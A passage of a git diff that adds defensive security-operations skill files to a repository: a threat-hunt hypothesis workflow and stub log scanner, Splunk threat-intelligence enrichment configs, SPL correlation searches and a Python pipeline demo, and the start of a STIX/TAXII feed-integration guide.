Windows Security | 5140 | Network share accessed | + +## References + +- MITRE ATT&CK Framework: https://attack.mitre.org/ +- Sigma Detection Rules: https://github.com/SigmaHQ/sigma +- LOLBAS Project: https://lolbas-project.github.io/ +- Atomic Red Team Tests: https://github.com/redcanaryco/atomic-red-team +- Red Canary Threat Detection Report +- SANS Threat Hunting Summit Resources diff --git a/skills/building-threat-hunt-hypothesis-framework/references/workflows.md b/skills/building-threat-hunt-hypothesis-framework/references/workflows.md new file mode 100644 index 00000000..325c78a0 --- /dev/null +++ b/skills/building-threat-hunt-hypothesis-framework/references/workflows.md @@ -0,0 +1,81 @@ +# Detailed Hunting Workflow - Building Threat Hunt Hypothesis Framework + +## Phase 1: Data Collection and Querying + +### Splunk SPL Query +```spl +| makeresults +| eval hypothesis="Adversaries may be using [TECHNIQUE] to [OBJECTIVE] against [TARGET] via [VECTOR]" +| eval data_sources="[List required data sources]" +| eval queries="[Specific SPL queries to test hypothesis]" +| eval success_criteria="[What constitutes confirming/refuting hypothesis]" +``` + +### KQL Query (Microsoft Defender for Endpoint) +```kql +let HuntHypothesis = datatable(Component:string, Description:string) +[ + "Technique", "MITRE ATT&CK technique being hunted", + "Target", "Systems or accounts in scope", + "Data Sources", "Logs and telemetry required", + "Indicators", "Observable evidence of technique", + "Success Criteria", "What confirms or refutes hypothesis" +]; +HuntHypothesis +``` + +## Phase 2: Baseline and Anomaly Detection + +### Step 2.1 - Establish Normal Behavior Baseline +- Collect 30 days of historical data for the targeted technique +- Document expected patterns, frequencies, and legitimate use cases +- Identify known false positive sources and document exceptions +- Build statistical baseline (mean, standard deviation) for key metrics + +### Step 2.2 - Identify Anomalies +- Compare current activity against the 30-day baseline +- Flag events exceeding 3 standard deviations from normal +- Prioritize anomalies by risk score and potential business impact +- Cross-reference with threat intelligence for known IOCs + +## Phase 3: Investigation and Correlation + +### Step 3.1 - Deep Dive Analysis +- For each anomaly, collect full process tree context +- Correlate with network activity, file operations, and authentication events +- Check binary signatures, file hashes, and certificate validity +- Review user account context and access patterns + +### Step 3.2 - Attack Chain Reconstruction +- Map findings to MITRE ATT&CK kill chain stages +- Identify initial access vector if applicable +- Trace lateral movement and privilege escalation paths +- Determine data access and potential exfiltration + +## Phase 4: Validation and Response + +### Step 4.1 - True/False Positive Determination +- Verify findings with system owners and IT operations +- Check change management records for authorized activities +- Validate user context (authorized actions vs. compromised account) +- Document determination rationale for each finding + +### Step 4.2 - Response Actions +- For confirmed threats: initiate incident response procedures +- For detection gaps: create or update detection rules +- For false positives: tune existing rules and update exclusions +- Update threat hunting playbook with lessons learned + +## Phase 5: Documentation and Reporting + +### Step 5.1 - Hunt Report +- Summarize hypothesis, methodology, and findings +- Include all queries executed and their results +- Document IOCs discovered and detection rules created +- Provide recommendations for security improvements + +### Step 5.2 - Knowledge Base Update +- Add findings to threat intelligence platform +- Update MITRE ATT&CK coverage heatmap +- Share detection rules via Sigma format +- Schedule follow-up hunts for related techniques diff --git a/skills/building-threat-hunt-hypothesis-framework/scripts/process.py b/skills/building-threat-hunt-hypothesis-framework/scripts/process.py new file mode 100644 index 00000000..2bf4b289 --- /dev/null +++ b/skills/building-threat-hunt-hypothesis-framework/scripts/process.py @@ -0,0 +1,77 @@ +#!/usr/bin/env python3 +"""Threat Hunt Hypothesis Detection - Analyzes logs for TA0001 indicators.""" + +import json, csv, argparse, datetime, re +from collections import defaultdict +from pathlib import Path + +DETECTION_PATTERNS = [ + # Framework skill - no detection patterns +] + +def parse_logs(path): + p = Path(path) + if p.suffix == ".json": + with open(p, encoding="utf-8") as f: + data = json.load(f) + return data if isinstance(data, list) else data.get("events", []) + elif p.suffix == ".csv": + with open(p, encoding="utf-8-sig") as f: + return [dict(r) for r in csv.DictReader(f)] + return [] + +def analyze_event(event): + cmd = event.get("CommandLine", event.get("command_line", event.get("ProcessCommandLine", ""))) + content = event.get("Task_Content", event.get("Parameters", event.get("RawEventData", ""))) + search_text = f"{cmd} {content}" + risk = 0 + indicators = [] + for pattern in DETECTION_PATTERNS: + if re.search(pattern, search_text, re.IGNORECASE): + risk += 25 + indicators.append(f"Pattern match: {pattern}") + if not indicators: + return None + risk = min(risk, 100) + return { + "technique": "TA0001", + "command_line": cmd[:500] if cmd else content[:500], + "hostname": event.get("Computer", event.get("DeviceName", event.get("hostname", "unknown"))), + "user": event.get("User", event.get("AccountName", event.get("UserId", "unknown"))), + "timestamp": event.get("_time", event.get("timestamp", event.get("UtcTime", event.get("Timestamp", "")))), + "risk_score": risk, + "risk_level": "CRITICAL" if risk >= 75 else "HIGH" if risk >= 50 else "MEDIUM" if risk >= 25 else "LOW", + "indicators": indicators, + } + +def run_hunt(input_path, output_dir): + print(f"[*] Threat Hunt Hypothesis Hunt - {datetime.datetime.now().isoformat()}") + events = parse_logs(input_path) + findings = [f for f in (analyze_event(e) for e in events) if f] + Path(output_dir).mkdir(parents=True, exist_ok=True) + slug = "building_threat_hunt" + with open(Path(output_dir) / f"{slug}_findings.json", "w", encoding="utf-8") as f: + json.dump({"hunt_id": f"TH-{datetime.date.today()}", "total_events": len(events), "findings": findings}, f, indent=2) + with open(Path(output_dir) / "hunt_report.md", "w", encoding="utf-8") as f: + f.write(f"# Threat Hunt Hypothesis Hunt Report\n\n") + f.write(f"**Date**: {datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')}\n") + f.write(f"**Findings**: {len(findings)}\n\n") + for finding in sorted(findings, key=lambda x: x["risk_score"], reverse=True)[:20]: + f.write(f"### [{finding['risk_level']}] {finding['technique']}\n") + f.write(f"- **Host**: {finding['hostname']}\n") + f.write(f"- **Indicators**: {', '.join(finding['indicators'])}\n\n") + print(f"[+] {len(findings)} findings written to {output_dir}") + +def main(): + p = argparse.ArgumentParser(description="Threat Hunt Hypothesis Detection") + sp = p.add_subparsers(dest="cmd") + h = sp.add_parser("hunt"); h.add_argument("--input", "-i", required=True); h.add_argument("--output", "-o", default="./building_threat_output") + sp.add_parser("queries") + args = p.parse_args() + if args.cmd == "hunt": run_hunt(args.input, args.output) + elif args.cmd == "queries": + print("=== Detection Queries ===") + print("See references/workflows.md for platform-specific queries") + else: p.print_help() + +if __name__ == "__main__": main() diff --git a/skills/building-threat-intelligence-enrichment-in-splunk/SKILL.md b/skills/building-threat-intelligence-enrichment-in-splunk/SKILL.md new file mode 100644 index 00000000..743f0fe0 --- /dev/null +++ b/skills/building-threat-intelligence-enrichment-in-splunk/SKILL.md @@ -0,0 +1,287 @@ +--- +name: building-threat-intelligence-enrichment-in-splunk +description: Build automated threat intelligence enrichment pipelines in Splunk Enterprise Security using lookup tables, modular inputs, and the Threat Intelligence Framework. +domain: cybersecurity +subdomain: soc-operations +tags: [splunk, threat-intelligence, enrichment, ioc, lookup, siem, soc, enterprise-security] +version: "1.0" +author: mahipal +license: MIT +--- + +# Building Threat Intelligence Enrichment in Splunk + +## Overview + +Splunk's Threat Intelligence Framework in Enterprise Security enables SOC teams to automatically correlate indicators of compromise (IOCs) against security events. The framework ingests threat feeds, normalizes indicators into KV Store collections, and uses lookup-based correlation searches to flag matching events. Splunk Threat Intelligence Management centralizes collection, normalization, and enrichment from multiple sources, reducing triage time by providing analysts with immediate context. + +## Prerequisites + +- Splunk Enterprise Security (ES) 7.x or later +- Threat Intelligence Management add-on or Threat Intelligence Framework +- API keys for external threat intelligence feeds (MISP, OTX, VirusTotal, AbuseIPDB) +- KV Store enabled and properly configured +- Admin access for modular input configuration + +## Threat Intelligence Framework Architecture + +``` +External TI Sources (STIX/TAXII, CSV, API) + | + v +Modular Inputs (download and parse feeds) + | + v +KV Store Collections (normalized IOC storage) + |-- ip_intel + |-- domain_intel + |-- file_intel + |-- url_intel + |-- email_intel + | + v +Threat Intelligence Lookups + | + v +Correlation Searches (match events against IOCs) + | + v +Notable Events (enriched with TI context) +``` + +## Configuring Threat Intelligence Sources + +### STIX/TAXII Feed Integration + +```conf +# inputs.conf - TAXII feed configuration +[threatlist://taxii_feed_example] +description = TAXII 2.1 Threat Feed +type = taxii +url = https://threatfeed.example.com/taxii2/ +collection = threat-indicators-v21 +polling_interval = 3600 +api_key = +disabled = false +``` + +### CSV-Based Threat List + +```conf +# inputs.conf - CSV threat list +[threatlist://custom_blocklist] +description = Internal threat blocklist +type = csv +url = https://internal.company.com/threat-feeds/blocklist.csv +polling_interval = 1800 +disabled = false +``` + +### Custom Modular Input for API-Based Feeds + +```python +# bin/threatfeed_otx.py - OTX AlienVault feed collector +import json +import sys +import requests +from splunklib.modularinput import Script, Scheme, Argument, Event + + +class OTXFeedInput(Script): + def get_scheme(self): + scheme = Scheme("OTX AlienVault Feed") + scheme.description = "Collects IOCs from AlienVault OTX" + scheme.use_external_validation = False + scheme.streaming_mode = Scheme.streaming_mode_xml + + api_key_arg = Argument("api_key") + api_key_arg.data_type = Argument.data_type_string + api_key_arg.required_on_create = True + scheme.add_argument(api_key_arg) + + pulse_days_arg = Argument("pulse_days") + pulse_days_arg.data_type = Argument.data_type_number + pulse_days_arg.required_on_create = False + scheme.add_argument(pulse_days_arg) + + return scheme + + def stream_events(self, inputs, ew): + for input_name, input_item in inputs.inputs.items(): + api_key = input_item["api_key"] + pulse_days = int(input_item.get("pulse_days", 30)) + + headers = {"X-OTX-API-KEY": api_key} + url = f"https://otx.alienvault.com/api/v1/pulses/subscribed?modified_since={pulse_days}d" + + try: + response = requests.get(url, headers=headers, timeout=60) + response.raise_for_status() + data = response.json() + + for pulse in data.get("results", []): + for indicator in pulse.get("indicators", []): + event = Event() + event.stanza = input_name + event.data = json.dumps({ + "indicator": indicator["indicator"], + "type": indicator["type"], + "pulse_name": pulse["name"], + "pulse_id": pulse["id"], + "description": indicator.get("description", ""), + "created": indicator.get("created", ""), + "threat_source": "OTX", + "confidence": pulse.get("adversary", "unknown"), + }) + ew.write_event(event) + except requests.RequestException as e: + ew.log("ERROR", f"OTX feed collection failed: {str(e)}") + + +if __name__ == "__main__": + sys.exit(OTXFeedInput().run(sys.argv)) +``` + +## Building Enrichment Lookups + +### KV Store Collection Configuration + +```conf +# collections.conf +[ip_threat_intel] +field.ip = string +field.threat_type = string +field.confidence = number +field.source = string +field.description = string +field.first_seen = time +field.last_seen = time +field.severity = string + +[domain_threat_intel] +field.domain = string +field.threat_type = string +field.confidence = number +field.source = string +field.whois_registrar = string +field.whois_created = string + +[file_hash_intel] +field.file_hash = string +field.hash_type = string +field.malware_family = string +field.confidence = number +field.source = string +field.detection_names = string +``` + +### Lookup Table Definitions + +```conf +# transforms.conf +[ip_threat_intel_lookup] +external_type = kvstore +collection = ip_threat_intel +fields_list = ip, threat_type, confidence, source, description, severity + +[domain_threat_intel_lookup] +external_type = kvstore +collection = domain_threat_intel +fields_list = domain, threat_type, confidence, source + +[file_hash_intel_lookup] +external_type = kvstore +collection = file_hash_intel +fields_list = file_hash, hash_type, malware_family, confidence, source +``` + +## Enrichment Correlation Searches + +### IP-Based Threat Intelligence Correlation + +```spl +| tstats summariesonly=true count from datamodel=Network_Traffic + where All_Traffic.action=allowed + by All_Traffic.src_ip, All_Traffic.dest_ip, All_Traffic.dest_port, _time span=5m +| rename "All_Traffic.*" as * +| lookup ip_threat_intel_lookup ip as dest_ip OUTPUT threat_type, confidence, source as ti_source, severity as ti_severity +| where isnotnull(threat_type) +| lookup asset_lookup ip as src_ip OUTPUT asset_name, asset_owner, asset_priority +| eval urgency=case( + ti_severity=="critical" AND asset_priority=="critical", "critical", + ti_severity=="high" OR asset_priority=="critical", "high", + ti_severity=="medium", "medium", + true(), "low" +) +| eval description="Connection from ".src_ip." (".asset_name.") to known malicious IP ".dest_ip." (".threat_type.") - Source: ".ti_source +``` + +### Domain-Based Threat Intelligence Correlation + +```spl +index=dns sourcetype=stream:dns query_type=A OR query_type=AAAA +| lookup domain_threat_intel_lookup domain as query OUTPUT threat_type as domain_threat, confidence as domain_confidence, source as ti_source +| where isnotnull(domain_threat) AND domain_confidence > 70 +| stats count dc(src_ip) as unique_sources values(src_ip) as source_ips by query, domain_threat, ti_source +| eval severity=case(domain_confidence > 90, "critical", domain_confidence > 70, "high", true(), "medium") +| eval description="DNS queries to malicious domain ".query." from ".unique_sources." hosts - Threat: ".domain_threat +``` + +### File Hash Correlation + +```spl +index=endpoint sourcetype=sysmon EventCode=1 +| lookup file_hash_intel_lookup file_hash as Hashes OUTPUT malware_family, confidence as hash_confidence, source as ti_source +| where isnotnull(malware_family) +| stats count values(ParentCommandLine) as parent_commands by Computer, User, Image, malware_family, ti_source +| eval severity="critical" +| eval description="Known malware ".malware_family." executed on ".Computer." by ".User." - Binary: ".Image +``` + +## Multi-Source Enrichment Pipeline + +```spl +index=firewall sourcetype=pan:traffic action=allowed +| eval indicators=mvappend(src_ip, dest_ip) +| mvexpand indicators +| lookup ip_threat_intel_lookup ip as indicators OUTPUT threat_type as ip_threat, confidence as ip_confidence, source as ip_ti_source +| lookup geo_ip_lookup ip as indicators OUTPUT country, city, latitude, longitude +| lookup whois_lookup ip as indicators OUTPUT org as ip_org, asn as ip_asn +| where isnotnull(ip_threat) +| stats count + values(ip_threat) as threat_types + values(ip_ti_source) as intel_sources + values(country) as countries + values(ip_org) as organizations + latest(_time) as last_seen + earliest(_time) as first_seen + by src_ip, dest_ip, dest_port +| eval enrichment_context="Threat: ".mvjoin(threat_types, ", ")." | Geo: ".mvjoin(countries, ", ")." | Org: ".mvjoin(organizations, ", ") +``` + +## Threat Intelligence Dashboards + +### IOC Coverage Statistics + +```spl +| inputlookup ip_threat_intel_lookup +| stats count by source, threat_type +| sort -count +| head 20 +``` + +### Feed Freshness Monitoring + +```spl +| inputlookup ip_threat_intel_lookup +| eval age_days=round((now() - strptime(last_seen, "%Y-%m-%dT%H:%M:%S")) / 86400, 0) +| stats count avg(age_days) as avg_age_days max(age_days) as max_age_days by source +| eval status=case(avg_age_days > 30, "STALE", avg_age_days > 7, "AGING", true(), "FRESH") +``` + +## References + +- [Splunk Threat Intelligence Framework Documentation](https://help.splunk.com/en/splunk-enterprise-security-8/administer/8.2/threat-intelligence/overview-of-threat-intelligence-in-splunk-enterprise-security) +- [Splunk Lantern - Threat Intelligence Enrichment](https://lantern.splunk.com/Security/UCE/Guided_Insights/Threat_intelligence) +- [Integrated Intelligence Enrichment - Splunk Blog](https://www.splunk.com/en_us/blog/security/integrated-intelligence-enrichment-with-threat-intelligence-management.html) +- [Cisco Talos Threat Intelligence in Splunk](https://www.splunk.com/en_us/blog/security/cisco-talos-threat-intelligence-splunk-security.html) diff --git a/skills/building-threat-intelligence-enrichment-in-splunk/assets/template.md b/skills/building-threat-intelligence-enrichment-in-splunk/assets/template.md new file mode 100644 index 00000000..bf45ac93 --- /dev/null +++ b/skills/building-threat-intelligence-enrichment-in-splunk/assets/template.md @@ -0,0 +1,48 @@ +# Threat Intelligence Enrichment Template + +## Feed Configuration + +| Field | Value | +|---|---| +| Feed Name | | +| Source | | +| Feed Type | STIX/TAXII / CSV / API / Manual | +| Polling Interval | | +| IOC Types | IP / Domain / Hash / URL / Email | +| Confidence Threshold | | + +## KV Store Collection + +| Field | Type | Description | +|---|---|---| +| _key | string | Unique indicator hash | +| indicator_value | string | IOC value | +| threat_type | string | C2/Phishing/Malware/Scanner | +| confidence | number | 0-100 | +| source | string | Feed name | +| severity | string | critical/high/medium/low | +| first_seen | time | First observation | +| last_seen | time | Last observation | + +## Correlation Search Template + +```spl +| tstats summariesonly=true count + from datamodel= + by , _time span=5m +| rename ".*" as * +| lookup as + OUTPUT threat_type, confidence, source as ti_source +| where isnotnull(threat_type) AND confidence > +| eval description="TI match: ".." ("..")" +``` + +## Feed Health Dashboard + +| Metric | Current | Target | +|---|---|---| +| Total active indicators | | | +| Feed freshness (avg age) | | < 7 days | +| Hit rate (last 30 days) | | > 0.5% | +| False positive rate | | < 5% | +| Feed overlap rate | | < 30% | diff --git a/skills/building-threat-intelligence-enrichment-in-splunk/references/standards.md b/skills/building-threat-intelligence-enrichment-in-splunk/references/standards.md new file mode 100644 index 00000000..46c1bb02 --- /dev/null +++ b/skills/building-threat-intelligence-enrichment-in-splunk/references/standards.md @@ -0,0 +1,42 @@ +# Standards - Threat Intelligence Enrichment in Splunk + +## Threat Intelligence Standards + +### STIX (Structured Threat Information eXpression) +- Version 2.1 is the current standard for representing threat intelligence +- Defines objects: Indicator, Malware, Attack Pattern, Threat Actor, Campaign +- Used as the interchange format between TI platforms and SIEMs + +### TAXII (Trusted Automated eXchange of Indicator Information) +- Transport mechanism for STIX data +- TAXII 2.1 provides RESTful API for feed collection +- Supports Collection and Channel sharing models + +### OpenIOC +- Mandiant's open framework for sharing IOCs +- XML-based format for indicator definitions + +### OCSF (Open Cybersecurity Schema Framework) +- Industry standard for normalizing security event data +- Version 1.0 released at BlackHat 2023 + +## Splunk CIM Data Models for TI + +| Data Model | TI Correlation Fields | +|---|---| +| Network_Traffic | src_ip, dest_ip, dest_port | +| Web | url, http_user_agent, domain | +| Email | src_user, file_hash, url | +| Endpoint | process_hash, file_hash, dest | +| Authentication | src_ip, user, app | +| DNS | query, answer, src_ip | + +## IOC Types and Confidence Levels + +| IOC Type | Splunk Field | Confidence Threshold | +|---|---|---| +| IP Address | ip_intel | > 70% | +| Domain | domain_intel | > 70% | +| File Hash (SHA256) | file_intel | > 80% | +| URL | url_intel | > 75% | +| Email Address | email_intel | > 80% | diff --git a/skills/building-threat-intelligence-enrichment-in-splunk/references/workflows.md b/skills/building-threat-intelligence-enrichment-in-splunk/references/workflows.md new file mode 100644 index 00000000..04beac6d --- /dev/null +++ b/skills/building-threat-intelligence-enrichment-in-splunk/references/workflows.md @@ -0,0 +1,63 @@ +# Workflows - Threat Intelligence Enrichment in Splunk + +## TI Feed Integration Workflow + +``` +1. Identify Relevant TI Sources + - Commercial feeds (Recorded Future, Mandiant) + - Open source (OTX, AbuseIPDB, VirusTotal) + - Industry ISACs + - Internal threat lists + | + v +2. Configure Modular Inputs + - Set polling intervals + - Configure authentication + - Map feed fields to Splunk schema + | + v +3. Normalize to KV Store + - Parse raw feed data + - Map to standard field names + - Set confidence scores + - Add source attribution + | + v +4. Create Lookup Definitions + - Define transforms.conf entries + - Set field mappings + - Enable automatic lookups where appropriate + | + v +5. Build Correlation Searches + - Match events against IOC lookups + - Add asset/identity enrichment + - Set severity based on confidence + | + v +6. Monitor and Maintain + - Track feed freshness + - Remove stale indicators + - Measure hit rates per source +``` + +## IOC Lifecycle Management + +``` +Ingestion --> Validation --> Active Use --> Aging --> Expiration --> Removal + | | | | | + v v v v v + Raw feeds Dedup and Correlation Reduce Archive + parsed confidence matching confidence or delete + scoring weighting +``` + +## Feed Quality Assessment + +| Metric | Good | Warning | Critical | +|---|---|---|---| +| Feed latency | < 1 hour | 1-24 hours | > 24 hours | +| False positive rate | < 5% | 5-15% | > 15% | +| Hit rate | > 1% | 0.1-1% | < 0.1% | +| Coverage overlap | < 30% | 30-60% | > 60% | +| Indicator freshness | < 7 days | 7-30 days | > 30 days | diff --git a/skills/building-threat-intelligence-enrichment-in-splunk/scripts/process.py b/skills/building-threat-intelligence-enrichment-in-splunk/scripts/process.py new file mode 100644 index 00000000..8dade421 --- /dev/null +++ b/skills/building-threat-intelligence-enrichment-in-splunk/scripts/process.py @@ -0,0 +1,251 @@ +#!/usr/bin/env python3 +""" +Splunk Threat Intelligence Enrichment Pipeline + +Manages threat intelligence feed ingestion, normalization, +and enrichment workflows for Splunk Enterprise Security. +""" + +import json +import hashlib +from datetime import datetime, timedelta +from typing import Optional + + +class ThreatIndicator: + """Represents a single threat intelligence indicator.""" + + def __init__(self, value: str, indicator_type: str, source: str, + threat_type: str, confidence: int, description: str = "", + severity: str = "medium", first_seen: Optional[str] = None, + last_seen: Optional[str] = None, tags: Optional[list] = None): + self.value = value + self.indicator_type = indicator_type + self.source = source + self.threat_type = threat_type + self.confidence = min(100, max(0, confidence)) + self.description = description + self.severity = severity + self.first_seen = first_seen or datetime.utcnow().isoformat() + self.last_seen = last_seen or datetime.utcnow().isoformat() + self.tags = tags or [] + self.indicator_id = self._generate_id() + + def _generate_id(self) -> str: + hash_input = f"{self.indicator_type}:{self.value}:{self.source}" + return hashlib.sha256(hash_input.encode()).hexdigest()[:16] + + def is_expired(self, max_age_days: int = 90) -> bool: + last = datetime.fromisoformat(self.last_seen.replace("Z", "+00:00").replace("+00:00", "")) + return (datetime.utcnow() - last).days > max_age_days + + def to_kv_store_record(self) -> dict: + type_field_map = { + "ip": "ip", + "domain": "domain", + "file_hash": "file_hash", + "url": "url", + "email": "email", + } + key_field = type_field_map.get(self.indicator_type, "value") + return { + "_key": self.indicator_id, + key_field: self.value, + "threat_type": self.threat_type, + "confidence": self.confidence, + "source": self.source, + "description": self.description, + "severity": self.severity, + "first_seen": self.first_seen, + "last_seen": self.last_seen, + "tags": ",".join(self.tags), + } + + +class ThreatFeed: + """Represents a threat intelligence feed source.""" + + def __init__(self, name: str, feed_type: str, url: str, + polling_interval: int = 3600, api_key: str = ""): + self.name = name + self.feed_type = feed_type + self.url = url + self.polling_interval = polling_interval + self.api_key = api_key + self.indicators = [] + self.last_poll = None + self.stats = {"total_ingested": 0, "duplicates_skipped": 0, "expired_removed": 0} + + def add_indicator(self, indicator: ThreatIndicator): + self.indicators.append(indicator) + self.stats["total_ingested"] += 1 + + def get_active_indicators(self, max_age_days: int = 90) -> list: + active = [i for i in self.indicators if not i.is_expired(max_age_days)] + self.stats["expired_removed"] = len(self.indicators) - len(active) + return active + + def generate_splunk_input_conf(self) -> str: + return f"""[threatlist://{self.name}] +description = {self.name} threat feed +type = {self.feed_type} +url = {self.url} +polling_interval = {self.polling_interval} +disabled = false +""" + + +class EnrichmentPipeline: + """Manages the complete TI enrichment pipeline for Splunk.""" + + def __init__(self): + self.feeds = [] + self.kv_store = {"ip_intel": [], "domain_intel": [], "file_intel": [], "url_intel": []} + self.correlation_hits = [] + + def add_feed(self, feed: ThreatFeed): + self.feeds.append(feed) + + def ingest_all_feeds(self): + for feed in self.feeds: + active = feed.get_active_indicators() + for indicator in active: + collection = self._get_collection(indicator.indicator_type) + if collection is not None: + self.kv_store[collection].append(indicator.to_kv_store_record()) + + def _get_collection(self, indicator_type: str) -> Optional[str]: + mapping = { + "ip": "ip_intel", + "domain": "domain_intel", + "file_hash": "file_intel", + "url": "url_intel", + } + return mapping.get(indicator_type) + + def simulate_correlation(self, events: list) -> list: + """Simulate correlating events against TI indicators.""" + hits = [] + ip_iocs = {r["ip"]: r for r in self.kv_store.get("ip_intel", []) if "ip" in r} + domain_iocs = {r["domain"]: r for r in self.kv_store.get("domain_intel", []) if "domain" in r} + + for event in events: + dest_ip = event.get("dest_ip", "") + domain = event.get("domain", "") + + if dest_ip in ip_iocs: + ioc = ip_iocs[dest_ip] + hits.append({ + "event": event, + "match_type": "ip", + "matched_value": dest_ip, + "threat_type": ioc["threat_type"], + "confidence": ioc["confidence"], + "source": ioc["source"], + "severity": ioc["severity"], + }) + + if domain in domain_iocs: + ioc = domain_iocs[domain] + hits.append({ + "event": event, + "match_type": "domain", + "matched_value": domain, + "threat_type": ioc["threat_type"], + "confidence": ioc["confidence"], + "source": ioc["source"], + "severity": ioc["severity"], + }) + + self.correlation_hits = hits + return hits + + def get_pipeline_stats(self) -> dict: + return { + "total_feeds": len(self.feeds), + "kv_store_sizes": {k: len(v) for k, v in self.kv_store.items()}, + "total_indicators": sum(len(v) for v in self.kv_store.values()), + "correlation_hits": len(self.correlation_hits), + "feed_stats": [ + {"name": f.name, "indicators": len(f.indicators), "stats": f.stats} + for f in self.feeds + ], + } + + def generate_spl_correlation(self, indicator_type: str) -> str: + templates = { + "ip": ( + '| tstats summariesonly=true count from datamodel=Network_Traffic ' + 'where All_Traffic.action=allowed by All_Traffic.dest_ip, All_Traffic.src_ip, _time span=5m\n' + '| rename "All_Traffic.*" as *\n' + '| lookup ip_threat_intel_lookup ip as dest_ip ' + 'OUTPUT threat_type, confidence, source as ti_source, severity as ti_severity\n' + '| where isnotnull(threat_type) AND confidence > 70\n' + '| eval description="TI Hit: ".dest_ip." (".threat_type.") from ".ti_source' + ), + "domain": ( + 'index=dns sourcetype=stream:dns\n' + '| lookup domain_threat_intel_lookup domain as query ' + 'OUTPUT threat_type, confidence, source as ti_source\n' + '| where isnotnull(threat_type) AND confidence > 70\n' + '| stats count dc(src_ip) as unique_sources by query, threat_type, ti_source\n' + '| eval description="DNS to malicious domain ".query." from ".unique_sources." sources"' + ), + "file_hash": ( + 'index=endpoint sourcetype=sysmon EventCode=1\n' + '| lookup file_hash_intel_lookup file_hash as Hashes ' + 'OUTPUT malware_family, confidence, source as ti_source\n' + '| where isnotnull(malware_family)\n' + '| eval description="Known malware ".malware_family." on ".Computer' + ), + } + return templates.get(indicator_type, "# No template for this indicator type") + + +if __name__ == "__main__": + pipeline = EnrichmentPipeline() + + # Create sample feeds + otx_feed = ThreatFeed("AlienVault_OTX", "api", "https://otx.alienvault.com/api/v1/pulses/subscribed") + otx_feed.add_indicator(ThreatIndicator("203.0.113.50", "ip", "OTX", "C2", 85, "Known C2 server", "high")) + otx_feed.add_indicator(ThreatIndicator("198.51.100.25", "ip", "OTX", "Scanner", 60, "Port scanner", "medium")) + otx_feed.add_indicator(ThreatIndicator("evil-domain.com", "domain", "OTX", "Phishing", 92, "Phishing domain", "critical")) + + abuse_feed = ThreatFeed("AbuseIPDB", "csv", "https://api.abuseipdb.com/api/v2/blacklist") + abuse_feed.add_indicator(ThreatIndicator("203.0.113.50", "ip", "AbuseIPDB", "C2", 90, "Reported C2", "high")) + abuse_feed.add_indicator(ThreatIndicator("192.0.2.100", "ip", "AbuseIPDB", "Brute Force", 75, "SSH brute forcer", "medium")) + + pipeline.add_feed(otx_feed) + pipeline.add_feed(abuse_feed) + pipeline.ingest_all_feeds() + + # Simulate events + events = [ + {"src_ip": "10.0.0.50", "dest_ip": "203.0.113.50", "dest_port": 443, "domain": ""}, + {"src_ip": "10.0.1.100", "dest_ip": "8.8.8.8", "dest_port": 53, "domain": "google.com"}, + {"src_ip": "10.0.2.75", "dest_ip": "93.184.216.34", "dest_port": 80, "domain": "evil-domain.com"}, + {"src_ip": "10.0.0.10", "dest_ip": "192.0.2.100", "dest_port": 22, "domain": ""}, + ] + + hits = pipeline.simulate_correlation(events) + + print("=" * 70) + print("THREAT INTELLIGENCE ENRICHMENT PIPELINE") + print("=" * 70) + + stats = pipeline.get_pipeline_stats() + print(f"\nFeeds: {stats['total_feeds']}") + print(f"Total Indicators: {stats['total_indicators']}") + print(f"KV Store: {stats['kv_store_sizes']}") + + print(f"\nCorrelation Hits: {len(hits)}") + for hit in hits: + print(f" [{hit['severity'].upper()}] {hit['match_type']}: {hit['matched_value']} " + f"({hit['threat_type']}) - Confidence: {hit['confidence']}% - Source: {hit['source']}") + + print(f"\n{'=' * 70}") + print("GENERATED SPL CORRELATION SEARCHES") + print("=" * 70) + for ioc_type in ["ip", "domain", "file_hash"]: + print(f"\n--- {ioc_type.upper()} Correlation ---") + print(pipeline.generate_spl_correlation(ioc_type)) diff --git a/skills/building-threat-intelligence-feed-integration/SKILL.md b/skills/building-threat-intelligence-feed-integration/SKILL.md new file mode 100644 index 00000000..3c2c6f99 --- /dev/null +++ b/skills/building-threat-intelligence-feed-integration/SKILL.md @@ -0,0 +1,322 @@ +--- +name: building-threat-intelligence-feed-integration +description: > + Builds automated threat intelligence feed integration pipelines connecting STIX/TAXII feeds, + open-source threat intel, and commercial TI platforms into SIEM and security tools for real-time + IOC matching and alerting. Use when SOC teams need to operationalize threat intelligence by + automating feed ingestion, normalization, scoring, and distribution to detection systems. +domain: cybersecurity +subdomain: soc-operations +tags: [soc, threat-intelligence, stix, taxii, misp, feeds, ioc, siem-integration] +version: "1.0" +author: mahipal +license: MIT +--- +# Building Threat Intelligence Feed Integration + +## When to Use + +Use this skill when: +- SOC teams need automated ingestion of threat intelligence feeds into SIEM platforms +- Multiple TI sources require normalization into a common format (STIX 2.1) +- Detection systems need real-time IOC matching against network and endpoint telemetry +- TI feed quality assessment and deduplication processes need to be established + +**Do not use** for manual IOC lookup — use dedicated enrichment tools (VirusTotal, AbuseIPDB) for ad-hoc queries. + +## Prerequisites + +- MISP instance or Threat Intelligence Platform (TIP) for feed aggregation +- STIX/TAXII client library (`taxii2-client`, `stix2` Python packages) +- SIEM platform (Splunk ES, Elastic Security, or Sentinel) with TI framework configured +- API keys for commercial and open-source feeds (AlienVault OTX, Abuse.ch, CISA AIS) +- Python 3.8+ for feed processing automation + +## Workflow + +### Step 1: Identify and Catalog Intelligence Sources + +Map available feeds by type, format, and update frequency: + +| Feed Source | Format | IOC Types | Update Freq | Cost | +|-------------|--------|-----------|-------------|------| +| AlienVault OTX | STIX/JSON | IP, Domain, Hash, URL | Real-time | Free | +| Abuse.ch URLhaus | CSV/JSON | URL, Domain | Every 5 min | Free | +| Abuse.ch MalwareBazaar | JSON API | File Hash | Real-time | Free | +| CISA AIS | STIX/TAXII 2.1 | All types | Daily | Free (US Gov) | +| CrowdStrike Intel | STIX/JSON | All types + Actor TTP | Real-time | Commercial | +| Mandiant Advantage | STIX 2.1 | All types + Reports | Real-time | Commercial | + +### Step 2: Ingest STIX/TAXII Feeds + +Connect to a TAXII 2.1 server and download indicators: + +```python +from taxii2client.v21 import Server, Collection +from stix2 import parse + +# Connect to TAXII server (example: CISA AIS) +server = Server( + "https://taxii.cisa.gov/taxii2/", + user="your_username", + password="your_password" +) + +# List available collections +for api_root in server.api_roots: + print(f"API Root: {api_root.title}") + for collection in api_root.collections: + print(f" Collection: {collection.title} (ID: {collection.id})") + +# Fetch indicators from a collection +collection = Collection( + "https://taxii.cisa.gov/taxii2/collections/COLLECTION_ID/", + user="your_username", + password="your_password" +) + +# Get indicators 